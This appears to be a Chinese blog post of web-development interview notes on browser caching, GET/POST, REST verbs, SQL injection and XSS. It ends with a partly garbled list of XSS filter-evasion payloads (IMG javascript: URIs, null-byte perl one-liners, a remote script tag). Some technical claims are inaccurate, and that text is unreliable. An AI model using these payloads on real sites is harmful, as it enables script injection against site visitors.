作业11111111

从地址栏输入网址后都发生了什么?3K—30K

  1. 首次访问http://danYoo网站时,它们的交互过程如下所示:
    ①浏览器请求访问http://danYoo
    ②服务器返回index.html网页
    ③浏览器解析index.html网页,请求页面上所有资源文件,包括HTML文件、图像文件、CSS文件、JavaScript脚本文件,以及manifest文件
    ④服务器返回所有资源文件
    ⑤浏览器处理manifest文件,请求manifest中所有要求本地缓存的文件,包括index.html页面本身,即使刚才已经请求过这些文件。如果你要求本地缓存所有文件,这将是一个比较大的重复的请求过程。
    ⑥服务器返回所有要求本地缓存的文件
    ⑦浏览器对本地缓存进行更新,存入包括页面本身在内的所有要求本地缓存的资源文件,并且触发一个事件,通知本地缓存被更新。
  2. 如果再次打开浏览器访问http://danYoo网站,而且manifest文件没有修改过
    ①浏览器再次请求访问http://danYoo
    ②浏览器发现这个网页被本地缓存,于是使用本地缓存中index.html页面
    ③浏览器解析index.html页面,使用所有本地缓存中的资源文件.
    ④浏览器向服务器请求manifest文件
    ⑤服务器返回一个304代码,通知浏览器manifest没有发生变化
    只要页面上的资源文件被本地缓存过,下次浏览器打开这个页面时,总是先使用本地缓存中的资源,然后请求manifest文件
  3. 如果再次打开浏览器时manifest文件已经被更新过了,那么浏览器与服务器之间的交互如下:
    ①浏览器再次请求访问http://danYoo
    ②浏览器发现这个页面被本地缓存,于是使用本地缓存中index.html页面
    ③浏览器解析index.html页面,使用所有本地缓冲中的资源文件
    ④浏览器向服务器请求manifest文件
    ⑤服务器返回更新过的manifest文件
    ⑥浏览器处理manifest文件,发现该文件已被更新,于是请求所有要求进行本地缓存的资源文件,包括indexhtml页面本身
    ⑦浏览器返回要求进行本地缓存的资源文件
    ⑧浏览器对本地缓存进行更新,存入所以新的资源文件。并且触发一个事件,通知本地缓存被更新需要注意的是,即使资源文件被修改过了,在上面的第3中已经装入的资源文件是不会发生变化的,譬如图片不会突然变成新的图片,脚本文件也不会突然使用新的脚本文件,也就是说,这时更新过后的本地缓存中的内容还不能被使用,只有重新打开这个页面的时候才会使用更新过后的资源文件。另外,如果你不想修改manifest文件中对于资源文件的设置,但是你对服务器上请求缓存的资源文件进行了修改,那么你可以通过修改版本号的方式来让浏览器认为imanifest文件已经被更新过了,以便重新下载修改过的资源文件。

get和post区别

  1. Get是获取信息,而不是修改信息,类似数据库查询功能一样,数据不会被修改。
  2. Get传输的数据有大小限制,因为GET是通过URL提交数据,那么GET可提交的数据量就跟URL的长度有直接关系了,不同的浏览器对URL的长度的限制是不同的。
  3. GET请求的数据会被浏览器缓存起来,用户名和密码将明文出现在URL上,其他人可以查到历史浏览记录,数据不太安全。Request.QueryString来获取Get方式提交来的数据。
  4. Post请求则作为http消息的实际内容发送给web服务器,数据放置在HTML Header内提交,Post没有限制提交的数据。
  5. Post比Get安全,当数据是中文或者不敏感的数据,则用get,因为使用get,参数会显示在地址,对于敏感数据和不是中文字符的数据,则用post。
  6. POST表示可能修改变服务器上的资源的请求,在服务器端,用Post方式提交的数据Request.Form来获取。

restful, patch,put post 区别

在这里插入图片描述
对应的中文是rest式的;Restful web service是一种常见的rest的应用,是遵守了rest风格的web服务;rest式的web服务是一种ROA(The Resource-Oriented Architecture)(面向资源的架构).
PUT:用来创建一个URL已知的资源,或对已知资源进行完全替换。一般用来更新一个已知资源,除非在创建前,自己完全知道要创建的对象的URL。
POST:用来创建一个子资源,不是幂等的,多次执行,将导致多条形同的资源被创建。
PATCH:是对PUT方法的补充,用来对已知资源进行局部更新。

sql注入

SQL注入是比较常见的网络攻击方式之一,主要攻击对象是数据库,针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,篡改数据库。
SQL注入简单来说就是通过在表单中填写包含SQL关键字的数据来使数据库执行非常规代码的过程。
SQL数据库的操作是通过SQL语句来执行的,这就导致如果我们在代码中加入了某些SQL语句关键字(比如说DELETE、DROP等),这些关键字就很可能在数据库写入或读取数据时得到执行。

xss攻击

一、什么是XSS?
XSS全称是Cross Site Scripting即跨站脚本,当目标网站目标用户浏览器渲染HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了。
二、XSS分类
XSS有三类:反射型XSS(非持久型)、存储型XSS(持久型)和DOM XSS

1、反射型XSS
发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,故叫反射型XSS。

2、存储型XSS
存储型XSS和反射型XSS的差别仅在于,提交的代码会存储在服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码

最典型的例子是留言板XSS,用户提交一条包含XSS代码的留言存储到数据库,目标用户查看留言板时,那些留言的内容会从数据库查询出来并显示,浏览器发现有XSS代码,就当做正常的HTML与Js解析执行,于是触发了XSS攻击。

3、DOM XSS
DOM XSS和反射型XSS、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与,触发XSS靠的是浏览器端的DOM解析,完全是客户端的事情。

附常见的XSS攻击方法
(1)普通的XSS JavaScript注入

(2)IMG标签XSS使用JavaScript命令

(3)IMG标签无分号无引号
<IMG SRC=javascript:alert(‘XSS’)>
(4)IMG标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
(5)HTML编码(必须有分号)
<IMG SRC=javascript:alert(“XSS”)>
(6)修正缺陷IMG标签
<IMG “”">">
(7)formCharCode标签(计算器)

(8)UTF-8的Unicode编码(计算器)
<IMG SRC=jav…省略…S’)>
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
<IMG SRC=jav…省略…S’)>
(10)十六进制编码也是没有分号(计算器)

(11)嵌入式标签,将Javascript分开

(12)嵌入式编码标签,将Javascript分开

(13)嵌入式换行符

(14)嵌入式回车

(15)嵌入式多行注入JavaScript,这是XSS极端的例子

(16)解决限制字符(要求同页面)

(17)空字符12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 2/6perl -e ‘print “<IMG SRC=java\0script:alert(“XSS”)>”;’ > out
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
perl -e ‘print “<SCR\0IPT>alert(“XSS”)</SCR\0IPT>”;’ > out
(19)Spaces和meta前的IMG标签

(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC=“http://3w.org/XSS/xss.js”>
(21)Non-alpha-non-digit XSS to 2

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值